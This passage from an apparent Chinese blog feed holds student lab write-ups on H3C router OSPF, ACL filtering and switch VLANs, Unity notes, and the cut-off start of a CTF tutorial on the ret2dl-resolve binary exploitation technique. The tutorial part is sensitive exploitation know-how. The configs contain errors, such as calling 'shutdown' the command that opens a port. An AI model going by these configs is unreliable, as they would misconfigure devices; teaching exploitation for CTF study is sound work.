alt=""><br>由上图可知，大概是模拟现实中的路由器之间的连接，然后利用ospf完成ip查找。根据拓扑图，我们设置路由器1的g0(A15)与路由器2的g0(A14)相连接，并且让两台主机分别与路由器1g1(A19)和路由器2g1(A20)连接。<br>代码如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">[H3C-route1]</span><br><span class="line">int g0/0</span><br><span class="line">ip address 172.16.1.1</span><br><span class="line">shutdown // 原先这个接口是关闭的，要输入此指令将接口打开</span><br><span class="line">qu</span><br><span class="line">int g0/1</span><br><span class="line">ip address 172.16.5.5</span><br><span class="line">shutdown</span><br><span class="line">qu</span><br><span class="line"></span><br><span class="line">// 设置ospf协议</span><br><span class="line">ospf 1</span><br><span class="line">area 0</span><br><span class="line">network 172.16.1.1 0.0.0.255</span><br><span class="line">network 172.16.5.5 0.0.0.255</span><br><span class="line">qu</span><br><span class="line"></span><br><span class="line">[H3C-route2]</span><br><span class="line">int g0/0</span><br><span class="line">ip address 172.16.1.2</span><br><span class="line">shutdown</span><br><span class="line">qu</span><br><span class="line">int g0/1</span><br><span class="line">ip address 172.16.3.1</span><br><span class="line">shutdown</span><br><span class="line">qu</span><br><span class="line"></span><br><span class="line">ospf 1</span><br><span class="line">area 0tuo</span><br><span class="line">network 172.16.1.2 0.0.0.255</span><br><span class="line">network 172.16.3.1 0.0.0.255</span><br></pre></td></tr></table></figure><p>设置完该协议（关键记得<strong>shutdown</strong>打开端口），然后我们进行ping测试：<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route9.png" alt=""><br>(172.16.3.22 对 172.16.1.1 网关ping)<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route11.png" alt=""><br>(172.16.5.54 对 172.16.1.1 网关ping)<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route10.png" alt=""><br>(172.16.3.22 对 172.16.5.54 ping)</p><h2 id="防火墙配置">防火墙配置</h2><p>由之前的实验，我们大概了解了路由器和交换机之间的基本数据传输的过程，那么我们就可以通过设置防火墙来进行包的过滤:<br>由于防火墙设置好了，我们就不需要接线处理了，于是我们只需要输入代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">定义源 IP 为 172.16.3.22 的 ACL</span><br><span class="line"># 进入 ACL2000 视图。</span><br><span class="line">[H3C] acl number 2000</span><br><span class="line"># 定义源 IP 为 192.16.3.22 的访问规则。</span><br><span class="line">[H3C-acl-basic-2000] rule deny source 172.16.5.54 0</span><br><span class="line">[H3C-acl-basic-2000] quit</span><br><span class="line">21</span><br><span class="line">(3) 在端口上应用 ACL</span><br><span class="line"># 在端口上应用 ACL 2000。</span><br><span class="line">[H3C] interface ethernet0/0</span><br><span class="line">[H3C-Ethernet0/0] packet-filter 2000 inbound</span><br><span class="line">（5）去除规则 // 完成试验后使用</span><br><span class="line">Undo acl number XXX</span><br></pre></td></tr></table></figure><p>我们直接使用了上一张图中的网络拓扑图，所以大致逻辑还是一样的。我们产生的结果就是，此时172.16.5.54企图ping 172.16.3.22的时候会被拦截下来。<br><img src="/2017/04/20/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A4-%E8%B7%AF%E7%94%B1%E5%99%A8%E7%9A%84%E9%85%8D%E7%BD%AE/route12.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;继续上次的实验&lt;/p&gt;
&lt;h2 id=&quot;more-路由器配置实验&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="网络" scheme="https://showlinkroom.me/tags/%E7%BD%91%E7%BB%9C/"/>
    
    <category term="防火墙" scheme="https://showlinkroom.me/tags/%E9%98%B2%E7%81%AB%E5%A2%99/"/>
    
    <category term="路由器" scheme="https://showlinkroom.me/tags/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>Unity使用手记</title>
    <link href="https://showlinkroom.me/2017/04/19/Unity%E4%BD%BF%E7%94%A8%E6%89%8B%E8%AE%B0%E8%AE%B0/"/>
    <id>https://showlinkroom.me/2017/04/19/Unity%E4%BD%BF%E7%94%A8%E6%89%8B%E8%AE%B0%E8%AE%B0/</id>
    <published>2017-04-19T14:08:49.000Z</published>
    <updated>2020-07-16T13:31:30.419Z</updated>
    
    <content type="html"><![CDATA[<p>unity这类软件使用起来还是蛮麻烦的。。。这里记录下使用的时候遇到的问题</p><h2 id="more-unity使用手记"><span id="more"></span><br>Unity使用手记</h2><h2 id="animation-非animator">Animation(非Animator)</h2><p>这个玩意儿通过<strong>选中GameObject</strong>，然后<strong>ctrl 6</strong>呼出<br><img src="/2017/04/19/Unity%E4%BD%BF%E7%94%A8%E6%89%8B%E8%AE%B0%E8%AE%B0/animation1.png" alt=""><br>然后，在如下的界面中选择<strong>add clip</strong>，或者选择左上角的红色按钮选中<strong>录制</strong>，就能够一帧一帧的添加动画:<br><img src="/2017/04/19/Unity%E4%BD%BF%E7%94%A8%E6%89%8B%E8%AE%B0%E8%AE%B0/animation2.png" alt=""><br>如果需要选择某些特定动作下的动画修改的时候，切忌<strong>直接选中对应的animation文件</strong>，而是应该通过如上方方法选中gameobject对象中的animation（此时unity才能知道你需要修改的animation是什么），然后在左上角选择不同的动画:</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;unity这类软件使用起来还是蛮麻烦的。。。这里记录下使用的时候遇到的问题&lt;/p&gt;
&lt;h2 id=&quot;more-unity使用手记&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Unity" scheme="https://showlinkroom.me/tags/Unity/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业3--交换机的VLAN配置</title>
    <link href="https://showlinkroom.me/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/"/>
    <id>https://showlinkroom.me/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/</id>
    <published>2017-04-14T01:06:13.000Z</published>
    <updated>2020-07-16T13:31:30.435Z</updated>
    
    <content type="html"><![CDATA[<p>学校居然提供了交换机给我们做实验，非常的有趣(然而做实验的时候根本没有机会设置啊QVQ只能后期自己研究了)</p><h2 id="more-交换机的vlan设置"><span id="more"></span><br>交换机的VLAN设置</h2><p>首先我们开始实验的网络拓扑图为:<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan00.PNG" alt=""><br>(可能有点问题)<br>我们的四台机子分别接上了集线器的6,3,1,2孔，由于接在了同一个交换机中，形成了一个网络。然后第一个实验内容为<strong>通过DMC控制台接入交换机</strong>，所以我们需要将第24孔用一根线接入到我们前8个孔形成的内网中，从而让我们能够与DMC形成一个局域网，从而完成接入。<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan01.PNG" alt=""><br>这个过程并不顺利，因为我们的电脑一开始的时候并没有被分配IP，所以我们需要手动的配置自己的IP<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan02.PNG" alt=""><br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan04.PNG" alt=""><br>(设置的IP)</p><p>在这里选择<strong>使用下列的IP地址</strong>，并且配置成与DMC同一网段的IP地址:192.168.10.xxx，并且设置相应子网掩码。然后使用telnet协议进入DMC控制台(由于DMC被同学使用中，这里进入了H3C路由器里面。。)<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan03.PNG" alt=""><br>然后由于没有使用交换机，所以知道直接配置了路由器2333:<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan05.PNG" alt=""><br>这里配置了路由器的vlan 1的接口，将接口的ip设置为192.168.1.250 24,即是说<strong>设置的ip地址前24位为有效网络号</strong>，此时就确定了我们路由器的虚拟网络的网段。当我们将主机ip都设置成这个ip段内的时候，我们就能接入这个虚拟网络。<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan06.PNG" alt=""></p><h3 id="实验一题目">实验一题目</h3><ul><li>交换机的型号<br>这做的路由器的实验。。。</li><li>交换机的交换端口的类型<br>access,trunk,hybird三种端口。之后很快我们实验中就会出现access和trunk的设置。</li><li>access:此类端口只能属于一个VLAN，只能用于连接一个计算机的端口</li><li>trunk:运行多个VLAN通过，可以接受和发送多个VLAN报文，用于交换机端口间的连接</li><li>hybrid:此类型端口可以允许多个VLAN通过，可以接收和发送多个VLAN的报文，可以用于交换机之间连接，也可以用于连接用户的计算机。<br>具体的应用细节下文会提到</li><li>交换机的IOS版本<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan07.PNG" alt=""><br>这里可以看到是cfa0/msr36-cmw710-system-e0006p05.bin</li><li>交换机的端口信息<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan09.PNG" alt=""><br>这里的interface就是所有的端口，这里提一下一些自己知道的:<ul><li>LoopBack0:回环地址，可以远程链接当前机器的地址。</li><li>Vlan-interface1: 虚拟网关，</li><li>GigabitEthernet 0/0:千兆以太网，第0插槽(就第一个插槽),0端口号</li><li>Ethernet 0/0:以太网</li></ul></li><li>交换机的Flash信息<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan07.PNG" alt=""><ul><li>为 8M bytes<br>图中剩余信息:</li><li>PCB:印刷电路板 version 2.0</li><li>CPLD:复杂可编程逻辑器件 version 2.0</li><li>Basic BootWare:没查出来，应该是基础启动件</li><li>Extended BootWare:同上，应该是额外添加件</li></ul></li></ul><h2 id="不同swtich和vlan之间的通信">不同swtich和VLAN之间的通信</h2><p>这个比较有意思，可以实现同一个switch上的虚拟网络划分、不同switch之间通信，以及跨虚拟网访问。</p><h3 id="实验一-同一switch中的两个vlan：">实验一 同一switch中的两个vlan：</h3><p><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan11.PNG" alt=""><br>相关设置</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">system // 进入system</span><br><span class="line">vlan 10 // 设置vlan口10</span><br><span class="line">name YW // 名字为yW</span><br><span class="line">description YW Vlan // 设置备注</span><br><span class="line">port  Ethernet 1/0/1 // 设置第一个插槽为第一个端口号</span><br><span class="line">port  Ethernet 1/0/2 // 设置第一个插槽为第二个端口号</span><br><span class="line">qu // 退出vlan 10 设置</span><br><span class="line"></span><br><span class="line">// 同上</span><br><span class="line">vlan 20</span><br><span class="line">name OA</span><br><span class="line">description OA Vlan</span><br><span class="line">port  Ethernet 1/0/3</span><br><span class="line">port  Ethernet 1/0/4</span><br><span class="line">qu</span><br><span class="line"></span><br><span class="line">interface vlan-interface 10 // 设置vlan 10的接口</span><br><span class="line">description YW gateway</span><br><span class="line">ip address 172.16.1.254  24 // 网关设置为172.16.1.254，前24位有效</span><br><span class="line">qu</span><br><span class="line">interface vlan-interface 20</span><br><span class="line">description YW gateway</span><br><span class="line">ip address 172.16.2.254 24</span><br><span class="line">qu</span><br></pre></td></tr></table></figure><p>port Ethernet 指令:<br>交换机的端口均采用3位编号方式：interface type A/B/C</p><ul><li>A:IRF(虚拟化技术)中成员设备的编号，若未形成IRF则默认为1</li><li>B:设备上的槽位号。0就是指设备商固有端口所在的槽位</li><li>C:某槽位上的端口号。</li></ul><p>配置 PC1 ：ip address:172.16.1.1/24  默认网关：172.16.1.254<br>配置 PC2 ：ip address:172.16.1.2/24  默认网关：172.16.1.254<br>配置 PC3 ：ip address:172.16.2.1/24  默认网关：172.16.2.254<br>配置 PC4 ：ip address:172.16.2.2/24  默认网关：172.16.2.254<br>然后，PC1和PC2就会加入到设置了172.16.2.254为网关的交换机Vlan 20中，而PC3和PC4会加入到色湖之了172.16.1.254为网关的Vlan10中:<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan12.PNG" alt=""><br>因此，两台计算机之间不能发生通信。</p><h3 id="实验二-不同switch中被划分在了同一个vlan中">实验二: 不同switch中被划分在了同一个vlan中</h3><p><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan13.PNG" alt=""><br>代码如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">[H3C- - S1]:</span><br><span class="line">vlan 10</span><br><span class="line">port  Ethernet 1/0/1 // vlan10 中指定一个端口</span><br><span class="line">qu</span><br><span class="line">vlan 20</span><br><span class="line">port  Ethernet 1/0/2 // vlan20 中指定端口2和3</span><br><span class="line">port  Ethernet 1/0/3</span><br><span class="line">qu</span><br><span class="line">interface vlan-interface 10 </span><br><span class="line">ip address 172.16.1.254 24 // vlan10的端口设置默认网关ip</span><br><span class="line">qu</span><br><span class="line">interface vlan-interface 20 </span><br><span class="line">ip address 172.16.2.254 24 // vlan20的端口设置默认网关ip</span><br><span class="line">qu</span><br><span class="line">interface loopback0 </span><br><span class="line">ip address 172.16.3.1 24 // 设置回环地址的ip</span><br><span class="line">qu</span><br><span class="line">Route id 172.16.3.1 // 设置静态路由为 172.16.3.1</span><br><span class="line">ospf 1 // 进入指定process id的ospf</span><br><span class="line">area 0 // 设置OSPF区域为0</span><br><span class="line">// osfp的相关网段(osfp中会发送LSAck数据包从而完成联通确认的网段)</span><br><span class="line">network 172.16.1.254 0.0.0.255 </span><br><span class="line">network 172.16.2.254 0.0.0.255</span><br><span class="line">network 172.16.3.1 0.0.0.255</span><br><span class="line">qu</span><br><span class="line">[H3C- - S2]:</span><br><span class="line">vlan 20 // vlan20中同时指定三个端口</span><br><span class="line">port  Ethernet 1/0/1</span><br><span class="line">port  Ethernet 1/0/2</span><br><span class="line">port  Ethernet 1/0/3</span><br><span class="line">qu</span><br><span class="line">// 将vlan20的ip设置为172.16.2.254,与上一台机子的vlan20设置的ip一致</span><br><span class="line">interface vlan-interface 20</span><br><span class="line">ip address 172.16.2.254 24</span><br><span class="line">qu</span><br><span class="line">// 进入指定 process id的ospf</span><br><span class="line">ospf 1</span><br><span class="line">// 选择合适的area</span><br><span class="line">area 0</span><br><span class="line">// 设置相关网段(此处只设置172.16.2.254)</span><br><span class="line">network 172.16.2.254 0.0.0.255</span><br><span class="line">qu</span><br></pre></td></tr></table></figure><p>这里使用了ospf协议，这里解释一下使用ospf的相关概念:<br><strong>AS自治系统</strong> :一组使用相同路由协议交换路由信息的路由器。<br><strong>rounte id</strong>：一台运行ospf协议路由器，每一个ospf进程必须存在自己的route ID。（是一个32bit的无符号整数，用于在AS中唯一的标识一台路由器）<br>注意这里，在H3C中设置了Loopbakc0 172.16.3.1，其实是为了给当前的交换机一个Route ID，从而实现ospf。而由于第二个H3C S2接入了H3C S1中的虚拟网络，因此只需要设置相关network，让本机上192.16.2.254网段使能ospf，从而与vlan 20 通信。<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan14.PNG" alt=""></p><h3 id="实验三-不同switch中不同vlan之间的相互交流">实验三 不同switch中不同vlan之间的相互交流</h3><p><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan15.PNG" alt=""></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">[H3C-S1] ：</span><br><span class="line">//创建两个vlan</span><br><span class="line">vlan 10</span><br><span class="line">vlan 20</span><br><span class="line">qu</span><br><span class="line">// 配置enthernet 的1/0/1接口</span><br><span class="line">interface  Ethernet 1/0/1</span><br><span class="line">// 设置当前网口的链路类型为 access ，此时发送数据包不带有vlan tag 标记</span><br><span class="line">port link-type access</span><br><span class="line">// 设置当前access对应的虚拟网络</span><br><span class="line">port access vlan 10</span><br><span class="line">qu</span><br><span class="line">// 同上配置，不过这次将1/0/2配到vlan 20中，完成隔离</span><br><span class="line">interface  Ethernet 1/0/2</span><br><span class="line">port link- - type access</span><br><span class="line">port access vlan 20</span><br><span class="line">qu</span><br><span class="line">// 配置enthernet 的1/0/3接口</span><br><span class="line">interface  Ethernet 1/0/3</span><br><span class="line">// 链路类型设置为 trunk</span><br><span class="line">port link-type trunk</span><br><span class="line">// trunk需要指定允许通过的vlan 包</span><br><span class="line">port trunk permit vlan 10 20</span><br><span class="line">// 如果未指定当前包的id，那么此时只能够通过的vlan 10</span><br><span class="line">port trunk pvid vlan 10</span><br><span class="line">// 指定当前交换机中的网关地址(当前switch中还是隔离的)</span><br><span class="line">interface vlan-interface 10</span><br><span class="line">ip address 172.16.1.254 24</span><br><span class="line">qu</span><br><span class="line">interface vlan-interface 20</span><br><span class="line">ip address 172.16.2.254 24</span><br><span class="line">qu</span><br><span class="line"></span><br><span class="line">// 设置同上</span><br><span class="line">[H3C- - S2]:</span><br><span class="line">vlan 10</span><br><span class="line">vlan 20</span><br><span class="line">qu</span><br><span class="line">interface  Ethernet 1/0/1</span><br><span class="line">port link-type access</span><br><span class="line">port access vlan 10</span><br><span class="line">qu</span><br><span class="line">interface  Ethernet 1/0/2</span><br><span class="line">port link-type access</span><br><span class="line">port access vlan 20</span><br><span class="line">qu</span><br><span class="line">interface  Ethernet 1/0/3</span><br><span class="line">port link-type trunk</span><br><span class="line">port trunk permit vlan 10 20</span><br><span class="line">port trunk pvid vlan 10</span><br><span class="line">interface vlan-interface 10</span><br><span class="line">ip address 172.16.1.254 24</span><br><span class="line">qu</span><br><span class="line">interface vlan-interface 20</span><br><span class="line">ip addres s 172.16.2.254 24</span><br><span class="line">qu</span><br></pre></td></tr></table></figure><p>这里比较有趣的是，本地依然使用了vlan隔离。然而我们可以看到，用于我们在Ethernet 3 端口中，设置了port类型为trunk，这个端口允许来自指定vlan id的数据包通过，所以当我们的数据从Ethernet 3 出去的时候，数据就会经过trunk通道，此后另一个交换机上的Ethernet 3 会接受来自vlan 10 和20的数据包，然后根据ip 的vlan决定数据包是传输还是丢弃。<br><img src="/2017/04/14/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A3-%E4%BA%A4%E6%8D%A2%E6%9C%BA%E7%9A%84VLAN%E9%85%8D%E7%BD%AE/vlan16.PNG" alt=""><br>这个实验由于当时自己笨手笨脚的，最后也没有昨晚，一直拖到第二天才终于搞懂了原理。。。。小白学习大佬求轻拍_(:3)<em>&lt;</em></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;学校居然提供了交换机给我们做实验，非常的有趣(然而做实验的时候根本没有机会设置啊QVQ只能后期自己研究了)&lt;/p&gt;
&lt;h2 id=&quot;more-交换机的vlan设置&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="交换机" scheme="https://showlinkroom.me/tags/%E4%BA%A4%E6%8D%A2%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>ret2dl-resolve</title>
    <link href="https://showlinkroom.me/2017/04/09/ret2dl-resolve/"/>
    <id>https://showlinkroom.me/2017/04/09/ret2dl-resolve/</id>
    <published>2017-04-09T07:29:03.000Z</published>
    <updated>2020-07-16T13:31:30.409Z</updated>
    
    <content type="html"><![CDATA[<p>pwn真是技巧多。。。这是一个比较麻烦的攻击技巧，特地开一个空文章来写</p><h2 id="2018年修改">2018年修改</h2><p>发现博客居然被好多人看了。。。回过头来看发现这个介绍的<code>return-to-dl-resolve</code>并不是标准攻击方法QvQ，所以在文章后半段会介绍常用的ret2dl-resolve应该如何攻击。</p><h2 id="more-return-to-dl-resolve"><span id="more"></span><br>return-to-dl-resolve</h2><p>我们知道，程序分为静态链接和动态链接，在处理动态链接的时候，elf文件会采取一种叫做<strong>延迟绑定</strong>的技术，也就是当我们位于动态链接库的函数被调用的时候，编译器才会真正确定这个函数在进程中的位置，从而在第二次调用的时候减少绑定的时间。</p><h2 id="延迟绑定-lazy-load">延迟绑定(lazy load)</h2><p>这里我们以HBCTF中的pwn200的程序为例子讲解一下漏洞的利用。首先我们以read函数为例子:<br><img src="/2017/04/09/ret2dl-resolve/resolve01.png" alt=""><br>在这里，<strong>read函数的地址是0x08048380</strong>。这里的read函数位于.plt段内，内部并没有什么实际内容，而是跳转到ds:08049804指定的位置，然后我们跟踪过去看:<br><img src="/2017/04/09/ret2dl-resolve/resolve02.png" alt=""><br>可以看到，这个地方是一个叫做.got.plt的段的位置，但是这里具体写了什么呢，IDA并没有告诉我们，所以这里我们要尝试直接使用gdb跟踪看看:<br><img src="/2017/04/09/ret2dl-resolve/resolve03.png" alt=""><br>可以看到，这个位置就是read函数中，jmp指令的下一个指令的地址。由于jmp指令是<strong>取出当前地址中存储的值作为对应地址</strong>，也就是说接下来会跳转到地址<strong>0x080498386</strong>中。由于IDA中并没有将后续的指令显示出来，我们在gdb中截图为:<br><img src="/2017/04/09/ret2dl-resolve/resolve04.png" alt=""><br>这里关注jmp之后的两个指令。这两个指令首先push了一个0x0(这个值叫做<code>reloc_offset</code>，下文会提到),然后跳转到了这个<strong>0x08048370</strong>地址中，这个地址中的代码为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0x8048370:   push   DWORD PTR ds:0x80497fc</span><br><span class="line">0x8048376:   jmp    DWORD PTR ds:0x8049800</span><br></pre></td></tr></table></figure><p>这里把地址<strong>0x080497fc</strong>压栈并且调到上个地址下一个位置中存放的内容中去，这个<code>0x080497fc</code>地址中的函数叫做**_dl_runtime_resolve(动态链接运行解析？)**</p><p>这里我们来分析一下这些过程在做什么:<br>首先，程序为了解析read函数的位置，跳转到了.plt(Procedure Linkage Table, 程序连接表)中查询read函数的地址。然而我们此时是第一次调用，还暂时未知read函数所在的位置，于是程序在.got.plt中存放的不是read函数真正的地址，而是read函数在<code>.plt段</code>中地址+6的一个<code>push + jmp</code>的地址。为了实现解析的过程，.plt中会存放当前函数在.rel.plt节中的偏移。ELF文件中的文件信息是以节section的形式存在的，这个read函数的节也不例外，所以当我们去查找read函数的基本信息的时候，自然是要在对应的节中查找。这个节的查看方式我们可以用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span 